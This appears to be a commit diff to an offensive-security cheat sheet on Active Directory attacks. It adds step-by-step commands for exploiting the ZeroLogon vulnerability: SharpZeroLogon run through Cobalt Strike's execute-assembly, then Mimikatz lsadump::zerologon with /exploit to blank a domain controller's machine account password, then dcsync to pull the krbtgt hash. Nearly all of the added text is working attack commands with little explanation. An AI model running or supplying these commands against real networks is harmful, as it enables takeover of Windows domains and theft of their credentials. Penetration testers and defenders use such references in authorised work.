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.NET Zero Logon

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Swissky 2020-09-16 14:31:59 +02:00
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24
Methodology and Resources/Active Directory Attack.md
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@ -292,16 +292,28 @@ $ secretsdump.py 'domain/DC01$@DC01.domain.local' -hashes aad3b435b51404eeaad3b4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:00000000000000000000000000000000:::
```
in .NET for Cobalt Strike's execute-assembly
```powershell
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
```
with Mimikatz : 2.2.0 20200916 ZeroLogon & DCSync
```powershell
privilege::debug
# check for the CVE
lsadump::zerologon /target:DC01.corp.local /account:DC01$
# exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.corp.local /account:DC01$ /exploit
# dcsync to extract some hashes
lsadump::dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt /authuser:DC01$ /authdomain:CORP /authpassword:"" /authntlm
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
```
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